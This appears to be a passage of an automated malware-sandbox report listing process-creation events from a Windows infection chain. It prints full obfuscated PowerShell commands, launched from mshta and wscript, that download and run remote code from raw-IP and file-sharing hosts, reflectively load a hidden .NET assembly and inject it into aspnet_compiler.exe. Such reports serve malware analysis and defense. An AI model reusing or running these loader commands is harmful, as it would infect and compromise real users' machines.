['+'dnlib.IO.Home].GetMethod(PuIVAIPuI);seYvaiMe'+'thod.Invo'+'ke(seYnull, @(PuItxt.TGRFFRW/35/871.44.271.701//'+':ptthPuI, PuIdesativadoPuI, PuId'+'esativadoPuI, Pu'+'IdesativadoPuI, PuIaspnet_compil'+'erPuI, PuIdesativadoPuI, '+'PuIdesativadoPuI,PuIdesativado'+'PuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuI1PuI,PuIdesativadoPuI));').rEPlaCE('PuI',[StrInG][CHAR]39).rEPlaCE('2pO','\|').rEPlaCE('seY','$')\| . ((gV 'Mdr').nAmE[3,11,2]-jOIN'')"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysTEM32\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe" "pOWersheLL -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe ; INvokE-EXPressiON($(INvOkE-ExpressiON('[SystEM.tExt.encoDinG]'+[char]0X3A+[char]58+'UTF8.GetsTRIng([SyStEm.cOnVeRT]'+[ChaR]0X3A+[chaR]58+'frombasE64StRIng('+[chaR]34+'JFhvY0VSN21mYWMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVSZEVGaW5pVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbkhyTG8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamxXTWh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVEd1JCWENTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFFS3ZxKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZHpUayIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZVNQQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbHhzQnRTTVB2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYb2NFUjdtZmFjOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3Mi40NC4xNzgvNTMvc2VlbXliZXN0bmV0d29ya3doaWNoZ2l2ZWJlc3R0aGluZ3NlbnRpcmVsaWZld2l0aG1lLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVteWJlc3RuZXR3b3Jrd2hpY2hnaXZlYmVzdHRoaW5nc2VudGlyZWxpZmV3aXRoLnZiUyIsMCwwKTtzVEFydC1zbEVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZW15YmVzdG5ldHdvcmt3aGljaGdpdmViZXN0dGhpbmdzZW50aXJlbGlmZXdpdGgudmJTIg=='+[chaR]0X22+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\mffkkngw\mffkkngw.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seemybestnetworkwhichgivebestthingsentirelifewith.vbS"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES845C.tmp" "c:\Users\user\AppData\Local\Temp\mffkkngw\CSC9E50345C585C4EFF867E1FFD2050D1A6.TMP"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdzZVlpbWFnZVUnKydybCA9IFB1SWh0JysndHBzJysnOicrJy8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbCcrJ2UvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3QnKydHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgUHVJO3NlWXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XJysnZWJDbGllbnQ7c2VZaW1hZ2VCeXRlcyA9IHNlWXdlYkNsaWVuJysndC5Eb3dubG9hZERhdGEoc2VZaW1hZ2VVcmwpO3NlWWltYWcnKydlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHNlWWltYWdlQnl0JysnZXMpO3NlWXN0YXJ0RmxhZyA9IFB1STw8QkFTRTY0XycrJ1NUQVJUPj5QdUk7c2VZZW5kRicrJ2xhZyA9IFB1SScrJzw8QkFTRTY0X0VORD4+UHVJO3NlWXN0YXJ0SW5kZXggPSBzZVlpbWFnZVRleHQuSW5kZXhPZignKydzZVlzdGFydEZsYWcpO3NlWWVuZCcrJ0luZGV4ID0gc2VZaW1hZ2VUZXh0LkluZGV4T2Yoc2VZZW5kRmxhZyk7cycrJ2VZc3RhcnRJbmRleCAtZ2UgMCAtYW5kIHNlWWVuZEluZGV4IC1ndCBzZVlzdGFydEluZGV4O3MnKydlWXN0YXJ0SW5kZXggKz0gc2VZc3RhcnRGbGFnLkxlbmd0aDtzZVliYXNlNjRMZW5ndGggPSBzZVllbmRJbmRleCAtIHNlWXN0YXJ0SW5kZXg7c2VZYmFzZTY0Q29tbWFuZCA9JysnIHNlJysnWWltYWcnKydlVCcrJ2V4dC5TdWJzdHJpbmcoc2VZc3RhcnRJbmRleCwnKycgc2VZYmFzZTY0TGVuZ3RoKTtzZVliYXNlNjRSZXZlcnNlZCA9IC1qb2luIChzZVliYXNlNjRDb21tYW5kJysnLlRvQ2hhckFycmF5KCkgMnBPIEZvckUnKydhY2gtT2JqZWN0IHsgc2VZXyB9KVstMS4uLShzZVknKydiYXNlNjRDb21tYW5kLkxlbmd0aCldO3NlWScrJ2NvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQycrJ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJysnc2VZYmFzZTY0UmV2ZXJzZWQpO3NlWScrJ2xvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsJysnZWN0aW9uLkFzc2VtYmx5XScrJzo6TG9hZChzZVljb21tYW5kQnl0ZXMpO3NlWXZhaU1ldGhvZCA9IFsnKydkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoUHVJVkFJUHVJKTtzZVl2YWlNZScrJ3Rob2QuSW52bycrJ2tlKHNlWW51bGwsIEAoUHVJdHh0LlRHUkZGUlcvMzUvODcxLjQ0LjI3MS43MDEvLycrJzpwdHRoUHVJLCBQdUlkZXNhdGl2YWRvUHVJLCBQdUlkJysnZXNhdGl2YWRvUHVJLCBQdScrJ0lkZXNhdGl2YWRvUHVJLCBQdUlhc3BuZXRfY29tcGlsJysnZXJQdUksIFB1SWRlc2F0aXZhZG9QdUksICcrJ1B1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkbycrJ1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkb1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1STFQdUksUHVJZGVzYXRpdmFkb1B1SSkpOycpLnJFUGxhQ0UoJ1B1SScsW1N0ckluR11bQ0hBUl0zOSkuckVQbGFDRSgnMnBPJywnfCcpLnJFUGxhQ0UoJ3NlWScsJyQnKXwgLiAoKGdWICcqTWRyKicpLm5BbUVbMywxMSwyXS1qT0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('seYimageU'+'rl = PuIht'+'tps'+':'+'//1017.filemail.com/api/fil'+'e/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f PuI;seYwebClient = New-Object System.Net.W'+'ebClient;seYimageBytes = seYwebClien'+'t.DownloadData(seYimageUrl);seYimag'+'eText = [System.Text.Encoding]::UTF8.GetString(seYimageByt'+'es);seYstartFlag = PuI<<BASE64_'+'START>>PuI;seYendF'+'lag = PuI'+'<<BASE64_END>>PuI;seYstartIndex = seYimageText.IndexOf('+'seYstartFlag);seYend'+'Index = seYimageText.IndexOf(seYendFlag);s'+'eYstartIndex -ge 0 -and seYendIndex -gt seYstartIndex;s'+'eYstartIndex += seYstartFlag.Length;seYbase64Length = seYendIndex - seYstartIndex;seYbase64Command ='+' se'+'Yimag'+'eT'+'ext.Substring(seYstartIndex,'+' seYbase64Length);seYbase64Reversed = -join (seYbase64Command'+'.ToCharArray() 2pO ForE'+'ach-Object { seY_ })[-1..-(seY'+'base64Command.Length)];seY'+'commandBytes = [System.C'+'onvert]::FromBase64String('+'seYbase64Reversed);seY'+'loadedAssembly = [System.Refl'+'ection.Assembly]'+'::Load(seYcommandBytes);seYvaiMethod = ['+'dnlib.IO.Home].GetMethod(PuIVAIPuI);seYvaiMe'+'thod.Invo'+'ke(seYnull, @(PuItxt.TGRFFRW/35/871.44.271.701//'+':ptthPuI, PuIdesativadoPuI, PuId'+'esativadoPuI, Pu'+'IdesativadoPuI, PuIaspnet_compil'+'erPuI, PuIdesativadoPuI, '+'PuIdesativadoPuI,PuIdesativado'+'PuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuI1PuI,PuIdesativadoPuI));').rEPlaCE('PuI',[StrInG][CHAR]39).rEPlaCE('2pO','\|').rEPlaCE('seY','$')\| . ((gV 'Mdr').nAmE[3,11,2]-jOIN'')"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Users\user\AppData\Roaming\vtjrhji C:\Users\user\AppData\Roaming\vtjrhji

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]58+'frombase64string('+[char]34+'jfhvy0vsn21mywmgicagicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicagicagqwrelxrzcgugicagicagicagicagicagicagicagicagicagicagicatbwvnymvszevgaw5pvelvtiagicagicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcjvcmxnt04ilcagicagicagicagicagicagicagicagicagicagicagienoyxjtzxqgpsbdagfyu2v0llvuawnvzgupxxb1ymxpyybzdgf0awmgzxh0zxjuieludfb0cibvukxeb3dubg9hzfrvrmlszshjbnrqdhigicagicagicagicagicagicagicagicagicagicagicbkbkhytg8sc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagamxxtwh0lhn0cmluzyagicagicagicagicagicagicagicagicagicagicagiewsdwludcagicagicagicagicagicagicagicagicagicagicagifved1jcwentleludfb0ciagicagicagicagicagicagicagicagicagicagicagihffs3zxktsnicagicagicagicagicagicagicagicagicagicagicaglw5bbuugicagicagicagicagicagicagicagicagicagicagicaizhpuayigicagicagicagicagicagicagicagicagicagicagicattmfnzvnqqunficagicagicagicagicagicagicagicagicagicagicagbhhzqnrttvb2icagicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicagicryb2nfujdtzmfjojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmta3lje3mi40nc4xnzgvntmvc2vlbxlizxn0bmv0d29ya3doawnoz2l2zwjlc3r0agluz3nlbnrpcmvsawzld2l0ag1llnrjriisiirftny6qvbqrefuqvxzzwvtewjlc3ruzxr3b3jrd2hpy2hnaxzlymvzdhroaw5nc2vudglyzwxpzmv3axrolnziuyismcwwkttzvefydc1zbevfucgzkttjrvggicagicagicagicagicagicagicagicagicagicagicaijgvuvjpbufbeqvrbxhnlzw15ymvzdg5ldhdvcmt3agljagdpdmvizxn0dghpbmdzzw50axjlbglmzxdpdggudmjtig=='+[char]0x22+'))')))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcdzzvlpbwfnzvunkydybca9ifb1swh0jysndhbzjysnoicrjy8vmtaxny5mawxlbwfpbc5jb20vyxbpl2zpbccrj2uvz2v0p2zpbgvrzxk9mkfhx2jxbzlszxu0nxq3qluxa1znc2q5cfq5cgdtu2x2u3qnkydhcm5usunmrmhtvetqm0xdnlnrdeljt2nfvdm1dyzwa192awq9zmq0zjyxngjimja5yzyyyze3mza5nduxnzzhmdkwngyguhvjo3nlwxdlyknsawvudca9ie5ldy1pymply3qgu3lzdgvtlk5ldc5xjysnzwjdbgllbnq7c2vzaw1hz2vcexrlcya9ihnlwxdlyknsawvujysndc5eb3dubg9hzerhdgeoc2vzaw1hz2vvcmwpo3nlwwltywcnkydlvgv4dca9ifttexn0zw0uvgv4dc5fbmnvzgluz106olvurjgur2v0u3ryaw5nkhnlwwltywdlqnl0jysnzxmpo3nlwxn0yxj0rmxhzya9ifb1stw8qkftrty0xycrj1nuqvjupj5qduk7c2vzzw5kricrj2xhzya9ifb1sscrjzw8qkftrty0x0vord4+uhvjo3nlwxn0yxj0sw5kzxggpsbzzvlpbwfnzvrlehqusw5kzxhpzignkydzzvlzdgfydezsywcpo3nlwwvuzccrj0luzgv4id0gc2vzaw1hz2vuzxh0lkluzgv4t2yoc2vzzw5krmxhzyk7cycrj2vzc3rhcnrjbmrlecatz2ugmcatyw5kihnlwwvuzeluzgv4ic1ndcbzzvlzdgfydeluzgv4o3mnkydlwxn0yxj0sw5kzxggkz0gc2vzc3rhcnrgbgfnlkxlbmd0adtzzvliyxnlnjrmzw5ndgggpsbzzvllbmrjbmrlecatihnlwxn0yxj0sw5kzxg7c2vzymfzzty0q29tbwfuzca9jysnihnljysnwwltywcnkydlvccrj2v4dc5tdwjzdhjpbmcoc2vzc3rhcnrjbmrlecwnkycgc2vzymfzzty0tgvuz3rokttzzvliyxnlnjrszxzlcnnlzca9ic1qb2luichzzvliyxnlnjrdb21tyw5kjysnllrvq2hhckfycmf5kckgmnbpiezvckunkydhy2gtt2jqzwn0ihsgc2vzxyb9kvstms4ulshzzvknkydiyxnlnjrdb21tyw5klkxlbmd0acldo3nlwscrj2nvbw1hbmrcexrlcya9ifttexn0zw0uqycrj29udmvydf06okzyb21cyxnlnjrtdhjpbmcojysnc2vzymfzzty0umv2zxjzzwqpo3nlwscrj2xvywrlzefzc2vtymx5id0gw1n5c3rlbs5szwzsjysnzwn0aw9ulkfzc2vtymx5xscrjzo6tg9hzchzzvljb21tyw5kqnl0zxmpo3nlwxzhau1ldghvzca9ifsnkydkbmxpyi5jty5ib21lxs5hzxrnzxrob2qouhvjvkfjuhvjkttzzvl2ywlnzscrj3rob2qusw52bycrj2tlkhnlww51bgwsieaouhvjdhh0llrhukzgulcvmzuvodcxljq0lji3ms43mdevlycrjzpwdhrouhvjlcbqdulkzxnhdgl2ywrvuhvjlcbqdulkjysnzxnhdgl2ywrvuhvjlcbqdscrj0lkzxnhdgl2ywrvuhvjlcbqdulhc3buzxrfy29tcglsjysnzxjqduksifb1swrlc2f0axzhzg9qduksiccrj1b1swrlc2f0axzhzg9qduksuhvjzgvzyxrpdmfkbycrj1b1ssxqdulkzxnhdgl2ywrvuhvjlfb1swrlc2f0axzhzg9qduksuhvjzgvzyxrpdmfkb1b1ssxqdulkzxnhdgl2ywrvuhvjlfb1stfqduksuhvjzgvzyxrpdmfkb1b1sskpoycplnjfugxhq0uoj1b1sscsw1n0cklur11bq0hbul0zoskuckvqbgfdrsgnmnbpjywnfccplnjfugxhq0uoj3nlwscsjyqnkxwgliaokgdwiccqtwrykicplm5bbuvbmywxmswyxs1qt0lojycp';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "('seyimageu'+'rl = puiht'+'tps'+':'+'//1017.filemail.com/api/fil'+'e/get?filekey=2aa_bwo9reu45t7bu1kvgsd9pt9pgsslvst'+'grnticffhmtkj3lc6sqticoc_t35w&pk_vid=fd4f614bb209c62c1730945176a0904f pui;seywebclient = new-object system.net.w'+'ebclient;seyimagebytes = seywebclien'+'t.downloaddata(seyimageurl);seyimag'+'etext = [system.text.encoding]::utf8.getstring(seyimagebyt'+'es);seystartflag = pui<<base64_'+'start>>pui;seyendf'+'lag = pui'+'<<base64_end>>pui;seystartindex = seyimagetext.indexof('+'seystartflag);seyend'+'index = seyimagetext.indexof(seyendflag);s'+'eystartindex -ge 0 -and seyendindex -gt seystartindex;s'+'eystartindex += seystartflag.length;seybase64length = seyendindex - seystartindex;seybase64command ='+' se'+'yimag'+'et'+'ext.substring(seystartindex,'+' seybase64length);seybase64reversed = -join (seybase64command'+'.tochararray() 2po fore'+'ach-object { sey_ })[-1..-(sey'+'base64command.length)];sey'+'commandbytes = [system.c'+'onvert]::frombase64string('+'seybase64reversed);sey'+'loadedassembly = [system.refl'+'ection.assembly]'+'::load(seycommandbytes);seyvaimethod = ['+'dnlib.io.home].getmethod(puivaipui);seyvaime'+'thod.invo'+'ke(seynull, @(puitxt.tgrffrw/35/871.44.271.701//'+':ptthpui, puidesativadopui, puid'+'esativadopui, pu'+'idesativadopui, puiaspnet_compil'+'erpui, puidesativadopui, '+'puidesativadopui,puidesativado'+'pui,puidesativadopui,puidesativadopui,puidesativadopui,puidesativadopui,pui1pui,puidesativadopui));').replace('pui',[string][char]39).replace('2po','\|').replace('sey','$')\| . ((gv 'mdr').name[3,11,2]-join'')"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]58+'frombase64string('+[char]34+'jfhvy0vsn21mywmgicagicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicagicagqwrelxrzcgugicagicagicagicagicagicagicagicagicagicagicatbwvnymvszevgaw5pvelvtiagicagicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcjvcmxnt04ilcagicagicagicagicagicagicagicagicagicagicagienoyxjtzxqgpsbdagfyu2v0llvuawnvzgupxxb1ymxpyybzdgf0awmgzxh0zxjuieludfb0cibvukxeb3dubg9hzfrvrmlszshjbnrqdhigicagicagicagicagicagicagicagicagicagicagicbkbkhytg8sc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagamxxtwh0lhn0cmluzyagicagicagicagicagicagicagicagicagicagicagiewsdwludcagicagicagicagicagicagicagicagicagicagicagifved1jcwentleludfb0ciagicagicagicagicagicagicagicagicagicagicagihffs3zxktsnicagicagicagicagicagicagicagicagicagicagicaglw5bbuugicagicagicagicagicagicagicagicagicagicagicaizhpuayigicagicagicagicagicagicagicagicagicagicagicattmfnzvnqqunficagicagicagicagicagicagicagicagicagicagicagbhhzqnrttvb2icagicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicagicryb2nfujdtzmfjojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmta3lje3mi40nc4xnzgvntmvc2vlbxlizxn0bmv0d29ya3doawnoz2l2zwjlc3r0agluz3nlbnrpcmvsawzld2l0ag1llnrjriisiirftny6qvbqrefuqvxzzwvtewjlc3ruzxr3b3jrd2hpy2hnaxzlymvzdhroaw5nc2vudglyzwxpzmv3axrolnziuyismcwwkttzvefydc1zbevfucgzkttjrvggicagicagicagicagicagicagicagicagicagicagicaijgvuvjpbufbeqvrbxhnlzw15ymvzdg5ldhdvcmt3agljagdpdmvizxn0dghpbmdzzw50axjlbglmzxdpdggudmjtig=='+[char]0x22+'))')))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcdzzvlpbwfnzvunkydybca9ifb1swh0jysndhbzjysnoicrjy8vmtaxny5mawxlbwfpbc5jb20vyxbpl2zpbccrj2uvz2v0p2zpbgvrzxk9mkfhx2jxbzlszxu0nxq3qluxa1znc2q5cfq5cgdtu2x2u3qnkydhcm5usunmrmhtvetqm0xdnlnrdeljt2nfvdm1dyzwa192awq9zmq0zjyxngjimja5yzyyyze3mza5nduxnzzhmdkwngyguhvjo3nlwxdlyknsawvudca9ie5ldy1pymply3qgu3lzdgvtlk5ldc5xjysnzwjdbgllbnq7c2vzaw1hz2vcexrlcya9ihnlwxdlyknsawvujysndc5eb3dubg9hzerhdgeoc2vzaw1hz2vvcmwpo3nlwwltywcnkydlvgv4dca9ifttexn0zw0uvgv4dc5fbmnvzgluz106olvurjgur2v0u3ryaw5nkhnlwwltywdlqnl0jysnzxmpo3nlwxn0yxj0rmxhzya9ifb1stw8qkftrty0xycrj1nuqvjupj5qduk7c2vzzw5kricrj2xhzya9ifb1sscrjzw8qkftrty0x0vord4+uhvjo3nlwxn0yxj0sw5kzxggpsbzzvlpbwfnzvrlehqusw5kzxhpzignkydzzvlzdgfydezsywcpo3nlwwvuzccrj0luzgv4id0gc2vzaw1hz2vuzxh0lkluzgv4t2yoc2vzzw5krmxhzyk7cycrj2vzc3rhcnrjbmrlecatz2ugmcatyw5kihnlwwvuzeluzgv4ic1ndcbzzvlzdgfydeluzgv4o3mnkydlwxn0yxj0sw5kzxggkz0gc2vzc3rhcnrgbgfnlkxlbmd0adtzzvliyxnlnjrmzw5ndgggpsbzzvllbmrjbmrlecatihnlwxn0yxj0sw5kzxg7c2vzymfzzty0q29tbwfuzca9jysnihnljysnwwltywcnkydlvccrj2v4dc5tdwjzdhjpbmcoc2vzc3rhcnrjbmrlecwnkycgc2vzymfzzty0tgvuz3rokttzzvliyxnlnjrszxzlcnnlzca9ic1qb2luichzzvliyxnlnjrdb21tyw5kjysnllrvq2hhckfycmf5kckgmnbpiezvckunkydhy2gtt2jqzwn0ihsgc2vzxyb9kvstms4ulshzzvknkydiyxnlnjrdb21tyw5klkxlbmd0acldo3nlwscrj2nvbw1hbmrcexrlcya9ifttexn0zw0uqycrj29udmvydf06okzyb21cyxnlnjrtdhjpbmcojysnc2vzymfzzty0umv2zxjzzwqpo3nlwscrj2xvywrlzefzc2vtymx5id0gw1n5c3rlbs5szwzsjysnzwn0aw9ulkfzc2vtymx5xscrjzo6tg9hzchzzvljb21tyw5kqnl0zxmpo3nlwxzhau1ldghvzca9ifsnkydkbmxpyi5jty5ib21lxs5hzxrnzxrob2qouhvjvkfjuhvjkttzzvl2ywlnzscrj3rob2qusw52bycrj2tlkhnlww51bgwsieaouhvjdhh0llrhukzgulcvmzuvodcxljq0lji3ms43mdevlycrjzpwdhrouhvjlcbqdulkzxnhdgl2ywrvuhvjlcbqdulkjysnzxnhdgl2ywrvuhvjlcbqdscrj0lkzxnhdgl2ywrvuhvjlcbqdulhc3buzxrfy29tcglsjysnzxjqduksifb1swrlc2f0axzhzg9qduksiccrj1b1swrlc2f0axzhzg9qduksuhvjzgvzyxrpdmfkbycrj1b1ssxqdulkzxnhdgl2ywrvuhvjlfb1swrlc2f0axzhzg9qduksuhvjzgvzyxrpdmfkb1b1ssxqdulkzxnhdgl2ywrvuhvjlfb1stfqduksuhvjzgvzyxrpdmfkb1b1sskpoycplnjfugxhq0uoj1b1sscsw1n0cklur11bq0hbul0zoskuckvqbgfdrsgnmnbpjywnfccplnjfugxhq0uoj3nlwscsjyqnkxwgliaokgdwiccqtwrykicplm5bbuvbmywxmswyxs1qt0lojycp';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "('seyimageu'+'rl = puiht'+'tps'+':'+'//1017.filemail.com/api/fil'+'e/get?filekey=2aa_bwo9reu45t7bu1kvgsd9pt9pgsslvst'+'grnticffhmtkj3lc6sqticoc_t35w&pk_vid=fd4f614bb209c62c1730945176a0904f pui;seywebclient = new-object system.net.w'+'ebclient;seyimagebytes = seywebclien'+'t.downloaddata(seyimageurl);seyimag'+'etext = [system.text.encoding]::utf8.getstring(seyimagebyt'+'es);seystartflag = pui<<base64_'+'start>>pui;seyendf'+'lag = pui'+'<<base64_end>>pui;seystartindex = seyimagetext.indexof('+'seystartflag);seyend'+'index = seyimagetext.indexof(seyendflag);s'+'eystartindex -ge 0 -and seyendindex -gt seystartindex;s'+'eystartindex += seystartflag.length;seybase64length = seyendindex - seystartindex;seybase64command ='+' se'+'yimag'+'et'+'ext.substring(seystartindex,'+' seybase64length);seybase64reversed = -join (seybase64command'+'.tochararray() 2po fore'+'ach-object { sey_ })[-1..-(sey'+'base64command.length)];sey'+'commandbytes = [system.c'+'onvert]::frombase64string('+'seybase64reversed);sey'+'loadedassembly = [system.refl'+'ection.assembly]'+'::load(seycommandbytes);seyvaimethod = ['+'dnlib.io.home].getmethod(puivaipui);seyvaime'+'thod.invo'+'ke(seynull, @(puitxt.tgrffrw/35/871.44.271.701//'+':ptthpui, puidesativadopui, puid'+'esativadopui, pu'+'idesativadopui, puiaspnet_compil'+'erpui, puidesativadopui, '+'puidesativadopui,puidesativado'+'pui,puidesativadopui,puidesativadopui,puidesativadopui,puidesativadopui,pui1pui,puidesativadopui));').replace('pui',[string][char]39).replace('2po','\|').replace('sey','$')\| . ((gv 'mdr').name[3,11,2]-join'')"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; 